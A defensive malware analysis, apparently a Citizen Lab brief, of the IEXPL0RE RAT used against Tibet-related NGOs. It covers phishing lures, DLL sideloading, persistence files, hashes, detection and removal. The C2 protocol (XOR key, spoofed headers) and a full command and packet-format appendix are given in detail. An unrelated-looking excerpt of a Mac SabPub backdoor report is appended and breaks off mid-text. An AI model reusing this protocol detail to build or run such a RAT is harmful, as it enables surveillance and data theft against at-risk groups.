Tibet-related organization received two emails with different versions of the +malware attached. The first file was an executable file designed to appear as a video of a speech +by the Dalai Lama, attached to an email about a year review of Tibetan human rights issues +(figure 2). The second file was embedded in an Excel spreadsheet attached to an email pretending to be from a conference on climate change. +Emails that contain malicious attachments use a variety of social engineering techniques to +appear more legitimate. Methods include using names of real people and organizations, choosing +material that is directly related to the target +s interests, and including chains of fake forwards to +make it appear as if the email has been circulated. +Including the attachments in a RAR file makes them less likely to be discovered by an antivirus +(AV) scanner. Putting a password on the archive and including it in the email reduces the chances of AV discovery even further. +FIGURE 2: EXAMPLE TARGETED EMAIL WITH IEXPL0RE RAT USING SOCIAL ENGINEERING METHODS. +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +A newer version of the RAT payload was later distributed via email in multiple RTF documents +to organization 3. The RTF dropped a DLL alongside a legitimate program vulnerable to DLL injection, allowing the program to run without a warning that the program is not digitally signed. +StrokeIt, a program for using mouse gestures, uses a file named config.dll without verifying the +authenticity of the file. By replacing config.dll with the RAT downloader, the malicious code is +run while appearing more legitimate to the operating system (figure 3). +FIGURE 3: VALID DIGITAL SIGNATURE FOR THE STROKEIT PROGRAM. +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +MALWARE +The IEXPL0RE RAT is delivered inside an executable program or document, which is customgenerated for each email. When a user opens the document or runs the program, it installs a +launcher program on the computer. Antivirus programs frequently fail to detect the launcher +program as malicious, as it is custom built for each specific target: the file contains a configuration file unique to the target, which is different each time it is sent out. This method is used to +defeat signature-based antivirus programs, which only scan for files that are known to be malicious. As the launcher program is newly generated every time, it will never end up on a signature list until after it is already been used. +Once installed on a system, the launcher program goes through multiple programs to unpack a +contained file (the actual RAT) before it can run. The IEXPL0RE.EXE (or other launcher) program contains multiple programs, layered like an onion, which eventually unpack a DLL (dynamic link library, another form of executable file). The file name varies, but starts with +perf +and has an extension of .dat, and is saved to the %temp% folder (often C:\Documents and Settings\user\Local Settings\Temp). +Once the perf*.dat file is saved to disk, it runs (via injection into svchost.exe, a Windows program) and +extracts another DLL into memory. This program is called +ContainerV2, + as it is referenced from within +the program, although it is never written to the disk. ContainerV2 connects to the Internet and downloads another DLL called +client +. The client is also kept in memory and never written to the disk. Once +downloaded, ContainerV2 will run the client, which does all of the IEXPL0RE RAT work (figure 4). +FIGURE 4: STRUCTURE OF THE RAT LAUNCHER PROGRAM. +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +For Organization 1, the executable launch process looks like this: +.exe(attached file, launcher): appears as a text document; when run, displays a fake error +message saying the file can +t be found (figure 5) + csv.exe (runs and exits quickly) + 360tray.exe (runs and exits quickly) + svchost.exe (with injected perf*.dat code) + ContainerV2 (injected into svchost.exe) + client (downloaded and run in memory) +FIGURE 5: +SOCIAL ENGINEERING TECHNIQUE: A FAKE ERROR MESSAGE HIDING THE FACT THAT THIS IS A PROGRAM. +One advantage of downloading the final stage is that if the attacker wanted to update the RAT +software (to add new functionality for example), it can be done very easily. Because code is downloaded every time the malware starts, if the code is changed on the server side, existing compromised machines will automatically update themselves the next time they are restarted. Over the +time spent analyzing this malware, the client program did have minor changes, possibly bug fixes. +MD5 hashes, also called message digests, are often used to identify a file based on its content. +A hash is a string of hexadecimal characters that identifies a file. Should the file change in any +way, the hash will as well. Hashes are designed to be easy to compute from a full file, but it is +very difficult to find two files with the same hash. +Use of hashes in the context of the IEXPL0RE RAT is difficult, as the downloaded client may +change, and the ContainerV2 program is different for every target. One of the main differences +that guarantees that the hash will always be unique is that the configuration file for the RAT +(including which command and control servers to connect to) is included in the program. +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +For reference some MD5 hashes of IEXPL0RE components include: +ORIGINAL ATTACHMENT: +Organization 1: d7c826ac94522416a0aecf5b7a5d2afe (EXE) +Organization 2: 66e1aff355c29c6f39b21aedbbed2d5c (SCR) +Organization 3: 21a1ee58e4b543d7f2fa3b4022506029 (EXE) +Organization 3: 8d4e42982060d884e2b7bd257727fd7c (XLS) +CONTAINERV2: +Organization 1: d46d85777062afbcda02de68c063b877 +Organization 2: 85e8c6ddcfa7e289be14324abbb7378d +ORGANIZATION 2 CLIENT (ONLY ACTIVE COMMAND AND CONTROL SERVER): +November 1, 2011: eb51b384fcbbe468a6877f569021c5d1 +November 29, 2011: 8268297c1b38832c03f1c671e0a54a78 (current as of July 20, 2012) +INFECTION +Once the launcher program is run, it will install the IEXPL0RE binary and a startup link in the +Start Menu: +C:\Documents and Settings\All Users\Start Menu\Programs\Startup\IEXPL0RE.LNK +C:\Documents and Settings\user\Application Data\Microsoft\Internet Explorer\IEXPL0RE.EXE +It also leaves traces of the extracted binary and the link file (the .tmp file below) in %temp%: +C:\Documents and Settings\user\Local Settings\Temp\31A.tmp +C:\Documents and Settings\user\Local Settings\Temp\perf6cd2e5e9.dat +The RAT also uses a few files for configuration and recording keystrokes: +C:\WINDOWS\system\lock.dat +C:\WINDOWS\system\MSMAPI32.SRG +C:\WINDOWS\system32\STREAM.SYS +When run, IEXPL0RE will connect to a command and control (C2) server for updates, sending keylogger data, and asking for RAT commands. The C2 server is specified in a configuration file built +into the RAT program. Each RAT instance is likely built using a packaging program. The configuration file allows for a primary server and an alternate, and may use either a domain or IP. +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +Each of the IEXPL0RE samples analyzed uses a different set of C2 servers. One sample uses two +domains that point to the same IP. The IP changes every few days to few weeks, but remains +in one network block located in China. Other samples use either a single domain name and no +backup, or a fixed IP with a localhost address as backup. The localhost address is a way to find +and use a proxy, for example, if a computer is using a circumvention system such as Tor. Of the +two samples using fixed IPs, both were sent to the same organization, and one appears to be a +replacement for the other. Both C2 servers are currently down. +C2 COMMUNICATION +IEXPL0RE has two different methods of communication: HTTP POST and GET. It also has the +ability to use a HTTP CONNECT proxy. POST is the preferred method of communication; if it +does not work, it will also attempt a GET connection. +All communication from the client to the server is encrypted with a one-byte XOR key 0xCD. +(Information in this report shows the data after decryption.) POST commands put the data in +the request body, while GET commands put the data in URL parameters. Server responses are +all 200 OK messages with data in the body. +The system keeps track of the communication using a sequence number, which is part of the +requested URL. The sequence number is nine digits long, starts at 000000001, and generally +increments by one for each packet sent. When authenticated, the sequence number jumps to +000001000; if disconnected, the sequence number returns to the next sub-1000 number expected. +THE HEADERS OF THE REQUEST LOOK LIKE THIS: +POST /index000000001.asp HTTP/1.1 +Accept-Language: en-us +User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;) +Host: update.microsoft.com +Connection: Keep-Alive +Content-Type: text/html +Content-Length: 000041 +The Accept-Language, User-Agent, Connection, and Content-Type headers are always fixed. The +Host header is also always fixed as update.microsoft.com; any requests to the C2 server made +without this header in place will be rejected, often with a redirect to Microsoft +s website. +When run, ContainerV2 communicates with the C2 server, first establishing a socket by a three-way +handshake. Below, the text at the start of the arrow indicates the packet type, sequence number, and +connection socket. For example, +POST 2 (1) + means that it is using an HTTP POST request, sequence +number 2, on the first established connection (figure. 6). The text on the line is the data in the packet +after decryption. +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +FIGURE 6: FIRST C2 CONNECTION +Once the first connection has been established, a second connection is made using a similar +handshake (figure 7). +FIGURE 7: SECOND C2 CONNECTION +When the second connection has been established, the ContainerV2 program uses it to download +the client and run it (figure 8). +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +FIGURE 8: BINARY DOWNLOAD +Once control has been handed off to the client, one connection is used for sending keylogger data from +the client to the server, and the other connection is used to request RAT commands from the server. +With the protocol reversed (see Appendix B for a full listing of commands), it was straightforward to write a program that communicates with the C2 server, downloads the client, and sends +back commands as desired. The program maintains the two sockets, sending heartbeat/command +request packets at a specified interval, while sending back empty keylogger packets to trick the +server into thinking the system is idle (figure 9). +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +FIGURE 9: AN EXAMPLE OF THE FAKE MALWARE CLIENT COMMUNICATING WITH THE C2 SERVER. +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +CAPABILITIES +The IEXPL0RE RAT contains over 40 commands that an attacker can use to manipulate the +file system and registry, download and run additional programs, and find and exfiltrate data. +An infected computer defaults to recording keystrokes and sending this data back to the server +at regular intervals. The additional commands are there for interactive control of the system in +real-time by an attacker. +This program is likely used in multiple phases. After infection, the keylogger records data including email addresses and passwords. Once an account +s credentials have been captured, the +attacker can log in and set up a forwarding address or download all of the data stored online. +Once a compromised machine has been determined useful by looking at the keylogger data, an +attacker can use the RAT functionality to download files and install more specific malware - for +example, a Skype plugin that records calls. +While post-infection behaviour from an attacker against a real target has not been observed in +this investigation, this is a standard method in targeted attacks. +One particular area of interest with this RAT is that it contains a specific functionality for plugins relating to video and audio capture. Each time the malware connects to the command and +control server, it sends a list of all video capture devices present on the computer. This behaviour may indicate that the attacker is specifically interested in seeing who is on the other end of +the computer, and is actively collecting data on what the targets look like. +For a full list of the commands supported by IEXPL0RE and a description of what they do, see +Appendix B: Command Enumeration. +DETECTION AND MITIGATION +A system infected with the IEXPL0RE RAT can be found by looking for presence of the IEXPL0RE files, or by watching network traffic. +In addition to the IEXPL0RE.EXE file itself, presence of the perf*.dat files and link files in +%temp% are an indicator that the system is infected. The timestamps on the files are an indication of how long the system has been infected. +A network intrusion detection system (IDS) can identify infected machines by looking for wellknown traffic patterns. The simplest of these is checking for HTTP traffic to /index[0-9]{9}.asp. +Blocking this traffic will prevent the infected machine from communicating with the C2 server, +receiving new commands, and sending back keylogger data. +The C2 IP or hostname can also be blocked directly once it +s found, at the network level or (as a +temporary measure) in the infected computer +s hosts file. +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +REMOVAL +A running copy of IEXPL0RE can be stopped by killing the appropriate svchost process. This +process is identifiable as it is not in the correct place in the process tree. In figure 10, this is the +last process in the list, PID 1256: +FIGURE 10: PROCESS EXPLORER SHOWING THE INFECTED SVCHOST.EXE PROCESS (1256). +The process can be killed with the Process Explorer tool, part of the Sysinternals package +(figure 10). +Once the process has been terminated, removal is as simple as deleting the installed files (see +the section on Infection above for a list). +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +CONCLUSIONS +The IEXPL0RE RAT is a good example of the current state of APT attacks, especially those targeting human rights organizations and NGOs. While they are not particularly advanced from a +technical standpoint, they are custom designed to appeal to and pique the interest of the recipient. +The attacker uses social engineering to get a foot in the door of an organization. All it takes is +for one user to run a malicious program that looks like a legitimate video, spreadsheet, or other +document. Once running on a user +s machine, the program will silently record passwords and +provide the attacker a way of accessing sensitive data. +This report describes what is +normal + in this area, by detailing what a common attack looks like +at each step of the way, from when an email is first received to when data leaves the network. +Many APT campaigns like the one presented in this report exist and continue to steal data every +day, but are both avoidable and correctable. +The IEXPL0RE RAT is under active development, as both the client and server components are +continuously changing. The server in particular has exhibited different behavior over time, mostly +related to blocking unauthorized access from the outside world. For example, the redirect to Microsoft +s website when referencing an invalid URL was not present when this investigation began. The +presence of development work or upgrades implies that this system is actively used and monitored. +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +APPENDIX A: CONFIGURATION FILE +The configuration sent to the C2 server on initial connection has the client configuration at the +beginning (figure 11), followed by more information about the infected computer (figure 12). +FIGURE 11: CLIENT CONFIGURATION SENT TO C2 +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +FIGURE 12: DETAILED INFORMATION ON INFECTED COMPUTER SENT TO C2 +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +APPENDIX B: COMMAND ENUMERATION +The following is a list of all commands present in the IEXPL0RE malware, and a detailed +description of what data is received or sent over the network for each command. +CODE +COMMAND +SERVER / +DESCRIPTION +CLIENT +0x00 +Failure +Client response for a variety of commands to indicate that the operation did +not succeed. +0x01 +Success +Client response for a variety of commands to indicate that the operation succeeded. Contains variable data related to the command request. +0x01 +Reply file does not exist +Reply file for plugin does not exist. +Packet contains: +[4] - Command code (0x01) +0x02 +Reply file over 512kB +Reply file for plugin is over 512kB. +Packet contains: +[4] - Command code (0x02) +0x03 +Reply file +Reply file for plugin. +Packet contains: +[var] - buffer -- implemented so always 0? +0x03 +Shutdown +Sends a shutdown + power off + force command to the system. Requires +parameters 0/0. +0x04 +Reboot +Sends a reboot + force command to the system. Requires parameters 0/0. +0x06 +Reconnect +Disconnects open connections and reconnects. +0x07 +Shut off display +Sends WM_SYSCOMMAND message SC_MONITORPOWER to shut off the +display. +0x0B +Download and install +malware +Downloads a file, writes it to disk, and possibly executes it. +Packet contains: +[4] - executable size +[var] - executable +Depending on configuration and AV software present, writes the file to IEXPL0RE.EXE (in application data folder, Microsoft subfolder), fxsst.dll (in Windows system directory), or SENS64.DLL (in temp path). May run IEXPL0RE. +EXE depending on options; may also install configuration file (STREAM.SYS +or Cache). +Returns failure or success with parameters 0/0. +0x0C +Install dropped files +Checks configuration file options and moves the appropriate dropped files to +the correct locations (may vary depending on Windows version). +Returns failure or success with parameters 0/0. +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +0x0D +Update configuration +file +Downloads new configuration parameters and writes the updated information +to the configuration file. +Packet option 2: +[2] - Value1 == 2 +[180] - Unused? +Packet option 1: update campaign name? +[2] - Value1 == 1 +[4] - campaign name length +[var] - campaign name +Packet option 4: update configuration file +[2] - Value1 == 4 +[2] - port +[2] - unknown (offset 264) +[2] - unknown (offset 266) +[4] - unknown (offset 664) +[1] - unknown (offset 274) +[1] - unknown (offset 534) +[2] - unknown (offset 532) +[2] - unknown (offset 270) +[2] - unknown (offset 272) +[4] - campaign name length +[var] - campaign name +[4] - C2 name length +[var] - C2 name +[4] - unknown length +[var] - unknown (unused?) +[4] - unknown length +[var] - unknown (offset 275) +[4] - unknown length +[var] - unknown (offset 535) +[4] - unknown length +[var] - unknown (offset 599) +Returns failure or success with parameters 0/0. +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +0x0E +Download and run +plugin +Opens a new connection in a new thread, downloads a file, then runs it (possibly +with Internet Explorer credentials). This looks like a plugin activation for screen +captures and audio recording -- references offscreen.dll and offsound.dll. +Packet contains: +[4] - unknown (field_4) +[4] - unknown length +[var] - unknown (field_8) +[4] - DLL name length +[var] - DLL name +[4] - DLL arguments length +[var] - DLL arguments +[4] - Reply filename length +[var] - Reply filename +[4] - unknown length +[var] - unknown (field_620) +[4] - unknown length +[var] - unknown (field_724) +[1] - unknown (field_828) +[1] - unknown (field_829) +[1] - unknown (field_82A) +[1] - Add process ID, socket, verb to DLL arguments? +[1] - Create process as IE user? +[4] - unknown length +[var] - unknown (field_82C) +[4] - unknown (field_934) +Handshake for the new connection uses connection number -1. +If the connection is successful, replies with a failure packet, parameters 0/0, +containing: +[4] - unknown (field_4) +[4] - unknown length +[var] - unknown (field_8) +[4] - DLL name length +[var] - DLL name +[4] - Reply filename length +[var] - Reply filename +[4] - unknown length +[var] - unknown (field_620) +[4] - unknown length +[var] - unknown (field_724) +[1] - unknown (field_828) +[1] - unknown (field_829) +[4] - unknown length +[var] - unknown (field_82C) +[4] - unknown (field_934) +If successful, it will send the C2 an X command. The C2 will reply with a +file, which the client writes to disk. The client will send a success or failure +packet with parameters 0/0 depending on whether the file was received. +If field_828 is non-zero, the client will send the contents of the reply filename specified in a 0x03 command with parameters 0/0. The way this is +implemented, it appears as if it will always send an empty packet. +If process creation is unsuccessful, it will send a failure packet with parameters 0/0 containing the following: +[4] - command (0x00) +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +0x0F +Download and execute +file +Downloads a file and runs it. +Packet contains: +[4] - executable size +[var] - executable +Downloads the file to %temp% and executes it. Returns failure or success +with parameters 0/0. +0x10 +Unknown +Updates a values in the lock.dat file and sets an event. +Packet contains: +[4] - Value length +[var] - Value +Sets the DWORD at lock.dat offset 516 to 2, and copies the value from the +packet to offset 520. Sets the USERMODECMD event. +0x11 +Unknown +Reads a value out of %temp%/screenlog.txt. +Returns a success or failure command with parameters 0/0 depending on +whether the value read equals 1. The command contains: +[4] - Value +Where value equals: +0 : file does not exist +3 : value read from file equals 1 +4 : value read from file equals 0 +5 : value read from file equals 2 +0x12 +Unknown +Reads a value out of %temp%/offsoundlog.txt. +Returns a success or failure command with parameters 0/0 depending on +whether the value read equals 1. The command contains: +[4] - Value +Where value equals: +0 : file does not exist +3 : value read from file equals 1 +4 : value read from file equals 0 +5 : value read from file equals 2 +0x1E +sub_10004603() +If not empty, packet contains: +[2] - _WIN32_FIND_DATAA structure length +[var] - Data for file name +If empty, packet contains: +[2] - Set to 0 +[1] - 1 if structure size > 40000, 0 if failure +Parameters are set to Res1/Res2. +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +0x20 +Move file +Moves a file or directory. +Packet contains: +[4] - Source length +[var] - Source +[4] - Destination length +[var] - Destination +Returns failure or success with parameters 1/Res1 +0x21 +Delete file +Deletes a file or directory. +Packet contains: +[4] - File name length +[var] - File name +Returns a success or failure command with parameters Res2/Res1. +0x22 +Create directory +Creates a directory. +Packet contains: +[4] - Path name length +[var] - Path name +Returns a success or failure command with parameters Res2/Res1. +0x23 +GetSystemInfo request +Requests client to send a 0x24 response with the output of GetSystemInfo(). +0x24 +GetSystemInfo response +Contains a _SYSTEM_INFO struct with the output of GetSystemInfo(). +0x26 +Get document paths +Gets paths for CSIDL special folders PERSONAL (My Documents), DESKTOPDIRECTORY (Desktop), and HISTORY (Internet history). +Returns a success command containing: +[4] - My Documents path length +[var] - My Documents path +[4] - Desktop path length +[var] - Desktop path +[4] - Internet history path length +[var] - Internet history path +Parameters are set to 1/Res1. +0x29 +Move file or directory +Moves a file or directory. +Packet contains: +[4] - Source length +[var] - Source +[4] - Destination length +[var] - Destination +Returns failure or success with parameters 1/Res1. +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +0x2A +Set file access time and +attributes +Sets the creation time, last access time, last write time, and file attributes of +a file. +Packet contains: +[8] - CreationTime +[8] - LastAccessTime +[8] - LastWriteTime +[4] - dwFileAttributes +[4] - File name length +[var] - File name +Returns failure or success with parameters Res2/Res1. +0x2B +Unknown +Does some file-walking, including across all drives available (A to Z). Replies +with a 0x2C command followed by a number of 0x2D commands. +Packet contains: +[4] - Directory length +[var] - Directory +[4] - Unknown length +[var] - Unknown +0x2C +Unknown start response +Response to the 0x2B command. Uses parameters Res2/Res1. +Packet contains: +[4] - Number of 0x2D packets to follow +0x2D +Unknown response +Response to the 0x2B command. Uses parameters Res2/Res1. +Packet contains: +[4] - Unknown data length +[var] - Unknown data, result of sub_10001B73() +0x2F +Owner name, organization, and serial number +request +0x46 +Read from file +0x47 +Read from file response +Sends the owner name, organization, and serial number. +Returns a success response with the following data: +[4] - Username length +[var] - Username +[4] - User organization length +[var] - User organization +[4] - Serial length +[var] - Serial +Packet contains: +[8] - File offset +[2] - Characters to read +[4] - Length of field 3 +[var] - Field 3 +Replies with a 0x47 packet containing data from a file. +Response to 0x46 that contains data from a file. Sent with parameters 2/2. +Packet contains: +[2] - Size +[var] - Data +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +0x4B +List files +Lists files in a given directory along with file size and last write times. +Packet contains +[4] - Directory length +[var] - Directory +0x4C +Start of list files +response +Start of list response to 0x4B. Sent with parameters 2/2. +Packet has no payload. +0x4D +End of list files +response +End of list response to 0x4B. Sent with parameters 2/2. +Packet has no payload. +0x4E +List files response +List item for response to 0x4B. Sent with parameters 2/2. +Packet contains: +[8] - FindFileData.nFileSizeLow, FindFileData.nFileSizeHigh +[8] - .ftLastWriteTime.dwLowDateTime, .dwHighDateTime +[4] - length of next field +[var] - whole string: filename plus size and write time +0x4F +Open file +Opens a specified file for use with 0x46 [and friends]. +Packet contains: +[4] - File name length +[var] - File name +[4] - File mode length +[var] - File mode +Returns failure or success with parameters 2/2. +0x50 +Close file +Closes file opened with 0x4F command. No response sent. +0x5A +Start of running program list +Response to 0x5D command that signals the start of a list of running programs. +Packet is empty with parameters 3/Res1. +0x5B +End of running program list +0x5C +Running program +Response to 0x5D command that signals the end of a list of running programs. +Packet is empty with parameters 3/Res1. +Response to 0x5D command that contains the first executable module for a +single process. One packet is sent per process. +Packet contains: +[24] - PROCESSENTRY32.th32ProcessID +[4] - length of executable module name +[var] - length of executable module +0x5D +List running programs +Sends a list of executable names for running processes. Replies with a 0x5A +response, followed with a 0x5C packet for each executable, and ends with a +0x5B response. +Client uses the CreateToolhelp32Snapshot() API function followed by Process32First()/Process32Next() to list all processes. The executable name is +the module name returned by Module32First(). +0x5E +Kill process +Kills a running process. +Packet contains: +[4] - Process ID +Returns failure or success with parameters 3/Res1. +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +0x5F +Run program +Runs a program already present on the client. +Packet contains: +[4] - Command line length +[var] - Command line +Returns success or failure with parameters 3/Res1. +0x72 +Unknown - open connection B? +Creates multiple new threads and a new C2 connection (via full handshake) +with connection number 11. +Packet contains: +[4] - Unknown length +[var] - Unknown value (if 0 < length < 80000) +Returns success or failure with parameters 11/11. If successful, contains +the following payload: +[4] - Unknown length +[var] - Unknown (v2 + 808) +[4] - Unknown value +0x73 +Unknown - remove connection B? +May relate to uninstalling. +Packet contains: +[4] - Process ID +Kills the process with given process ID, and closes a socket. Returns success +or failure with parameters 11/11. If failure, contains the following payload: +[4] - Process ID +[4] - Unknown length +[var] - Unknown (v2 + 808) +0x82 +Number of services +Response to 0x85 command with the number of services on the system. +Packet contains: +[4] - Number of services returned by EnumServicesStatusA() +Response parameters are 5/5. +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +0x84 +Service information +Response to 0x85 command with details on a service. +Packet contains: +[4] - Service handle +[4] - Current state +[4] - Start type +[4] - Error control +[4] - Length of service name +[var] - Service name +[4] - Length of service display name +[var] - Service display name +[4] - Length of service binary path +[var] - Service binary path +[4] - Length of service description +[var] - Service description +[4] - Length of service start name +[var] - Service start name +Response parameters are 5/5. +0x85 +List services +Lists all services on the system. Sends a 0x82 response with the number of +services, then 0x84 responses with service details. +0x86 +Start service +Starts a service on the system. +Packet contains: +[4] - Length of service name +[var] - Service name +Returns success with parameters 5/5 if service is started. +0x87 +Control service +Sends a control message to a service on the system. +Packet contains: +[4] - Length of service name +[var] - Service name +[4] - Service control parameter +Service control parameters are: +1 - stop +2 - pause +3 - continue +Returns success with parameters 5/5 with the payload: +[4] - Service current state +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +0x88 +Create service +Creates a new service on the system. +Packet contains: +[4] - Service name length +[var] - Service name +[4] - Display name length +[var] - Display name (set in CreateServiceA()) +[4] - Binary path name length +[var] - Binary path name +[4] - Display name length +[var] - Display name (set by ChangeServiceConfig2A()) +[4] - Start type +Returns success or failure with parameters 5/5. If success, contains the following payload: +[4] - Service handle +[4] - Current state +[4] - Start type +[4] - Error control +[4] - Length of service name +[var] - Service name +[4] - Length of service display name +[var] - Service display name +[4] - Length of service binary path +[var] - Service binary path +[4] - Length of service description +[var] - Service description +[4] - Length of service start name +[var] - Service start name +0x89 +Delete service +Deletes a service from the system. +Packet contains: +[4] - Service name length +[var] - Service name +Returns success or failure with parameters 5/5. +0x8A +Set service options +Changes the display name and start type of a service. +Packet contains: +[4] - Service name length +[var] - Service name +[4] - Display name length +[var] - Display name (max 256 chars) +[4] - Display name length +[var] - Display name (max 512 chars) +[4] - Service start type +Returns success or failure with parameters 5/Res2 +0x96 +Enumerate registry +keys +Opens a registry key and enumerates its subkeys. Replies with an 0x97 +packet with subkey information. +Packet contains: +[4] - Registry key name length +[var] - Registry key name +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +0x97 +Enumerate registry +keys response +Contains a list of all the subkey names for a given registry key. +Packet contains: +[4] - Number of subkeys (N) +[var, N times] : [4] - Subkey name length +[var] - Subkey name +Parameters are set to 6/6. +0x98 +Registry key last write +time query +Requests the last write time on a specified registry key and returns the information in a 0x99 packet. +Packet contains: +[4] - Registry key name length +[var] - Registry key name +0x99 +Registry key last write +time response +Contains the last write time of a registry key. +Packet contains: +[8] - Last write time (_FILETIME structure) +Parameters are set to 6/6. +0x9A +Enumerate registry key +values +Opens a registry key and enumerates its values. Replies with a 0x9B packet +with the number of values and maximum size values. Sends a 0x9C packet +for each value, then signifies the end of the list with a 0x9D packet. +Packet contains: +[4] - Registry key name length +[var] - Registry key name +0x9B +Start of registry key +value enumeration list +Response to the 0x9A command signifying the start of a registry key value +enumeration. +Packet contains: +[4] - Number of values associated with the registry key +[4] - Max value name length +[4] - Max value length +Parameters are set to 6/6. +0x9C +Registry key value enumeration item +Response to the 0x9A command signifying a registry key value. +Packet contains: +[4] - Type +[4] - Value name size +[var] - Value name +[4] - Value data size +[var] - Value data +Parameters are set to 6/6. +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +0x9D +End of registry key +value enumeration list +Response to the 0x9A command signifying the end of a registry key value +enumeration. +Parameters are set to 6/6. +0x9F +Delete registry key +value +Deletes a value from a registry key. +Packet contains: +[4] - Registry key name length +[var] - Registry key name +[4] - Registry key value length +[var] - Registry key value +Returns success or failure with parameters set to 6/6. +0xA0 +Change registry key +value +Changes a value of a registry key. +Packet contains: +[4] - Registry key name length +[var] - Registry key name +[4] - Registry key old value length +[var] - Registry key old value +[4] - Registry key new value length +[var] = Registry key new value +Returns success or failure with parameters set to 6/6. +0xA1 +Create empty registry +key value +Creates a registry key value of a specified type with no value. +Packet contains: +[4] - Registry key name length +[var] - Registry key name +[4] - Registry key value name length +[var] - Registry key value name +[4] - Registry key value type +Returns success or failure with parameters set to 6/6. +0xA2 +Create registry key +Creates a registry key. Can be a subkey. +Packet contains: +[4] - Registry key name length +[var] - Registry key name +Returns success or failure with parameters set to 6/6. +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +0xA3 +Set registry key type +and value +Sets a registry key type and value. +Packet always contains: +[4] - Registry key name length +[var] - Registry key name +[4] - Registry value name length +[var] - Registry value name +[4] - Registry value type +The value then can take a different form based on the value type. +Value type 0 (empty): +No payload. +Value type 1 (REG_SZ, null terminated string): +[4] - Registry value length +[var] - Registry value +Value type 3 (REG_BINARY, raw binary data): +[4] - Registry value length +[var] - Registry value +Value type 4 (REG_DWORD, double word): +[4] - Registry value +Returns success or failure with parameters 6/6. +0xA4 +Does nothing. Possibly an unimplemented or deleted function. +0xA5 +Delete registry key +Deletes a registry key. Can be a subkey. +Packet contains: +[4] - Registry key name length +[var] - Registry key name +Returns success or failure with parameters 6/6. +0xB6 +Keylogger response +Sends keylogger data from the keylogger buffer file. +Keylogger data: +[4] - Length +[1] - All bytes read? 1 or 0 +[var] - Keylogger data +Parameters are set to the output of function 4 in the class C vtable? +0xB8 +Keylogger data request +Requests keylogger data in a 0xB6 packet. +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +0xC8 +Unknown - get a screenshot? +Looks suspiciously like taking a screenshot. +Packet contains: +[2] - Unknown +[2] - Unknown +[1] - Unknown +Replies with failure or success with parameters 8/8. If success, contains the +following fields: +[2] - Monitor width size (X) in pixels +[2] - Monitor height size (Y) in pixels +[4] - Unknown +[4] - Unknown size (screenshot?) +[var] - Unknown (screenshot?) +0xCA +Send keyboard or +mouse event +Packet contains: +[4] - Unknown +[4] - Extra information for keybd_event or mouse_event +[4] - Flags for keybd_event or mouse_event +[4] - Vk for keybd_event +[4] - x coordinate for mouse or Vk for keyboard +[4] - y coordinate for mouse +[4] - Data for mouse event +0xCB +Downloads a file +Downloads a file to %temp%\off.dll. +Packet contains: +[2] - Unknown +[2] - Unknown +[2] - Unknown +[4] - Data length +[4] - Unknown length +[var] - Unknown +[4] - Unknown length +[var] - Unknown +[4] - File data length +[var] - File data +Writes log information on the size of the downloaded file to c:\aaa\ccc.txt. +New Version of OSX.SabPub & Confirmed Mac APT attacks +Late last week, we found evidence of a possible link between a Mac OS X backdoor trojan and an APT +attack known as LuckyCat. The IP address of the C&C to which this bot connects (199.192.152.*) was also +used in other Windows malware samples during 2011, which made us believe we were looking at the same +entity behind these attacks. +For the past two days, we have been monitoring a +fake + infected system - which is a typical procedure we +do for APT bots. We were extremely surprised when during the weekend, the APT controllers took over +our +goat + infected machine and started exploring it. +On Friday Apri 13, port 80 on the C&C server located at rt*****.onedumb.com and hosted on a VPS in +Fremont, U.S. was closed. Saturday, the port was opened and bot started communicating with the C&C +server. For the entire day, the traffic was just basic handshakes and exchanges, nothing more. +On the morning of Sunday April 15, the traffic generated by the C&C changed. The attackers took over the +connection and started analysing our fake victim machine. They listed the contents of the root and home +folders and even stole some of the goat documents we put in there! +Encoded communication between C&C and our fake victim +Packet above, decoded - attacker is listing folders content +We are pretty confident the operation of the bot was done manually -- which means a real attacker, who +manually checks the infected machines and extracts data from them. +We can therefore confirm SabPub as APT in active stage. +On Sunday midday, the C&C domain was shutdown and the bot lost connection to it; this appears to be an +initiative from the free DNS service onedumb.com and it was no doubt triggered by the media attention. +Interestingly, the VPS used as the C&C is still active. +While analysing SabPub, we discovered another version of the backdoor which seems to have been created +earlier. This version differs from the original one only slightly -- the hardcoded C&C address is different -instead of the onedumb.com subdomain used by the original sample (hardcoded in the bot as +e3SCNUA2Om97ZXJ1fGI+Y4Bt +), this one simply contains the IP address of the VPS (hardcoded as +OjlDLjw5Pi4+NUAuQDBA +), meaning, it should still be operational. Its size is 42556 bytes vs 42580 +for the original one. +One of the biggest mysteries is the infection vector of these attacks. Given the highly targeted nature of the +attack, there are very few traces. Nevertheless, we found an important detail which is the missing link: Six +Microsoft Word documents, which we detect as Exploit.MSWord.CVE-2009-0563.a. In total we have +six relevant Word .docs with this verdict -- with four dropping the MaControl bot. The remaining two +drop SabPub. +The most interesting thing here is the history of the second SabPub variant. In our virus collection, it is +named +8958.doc +. 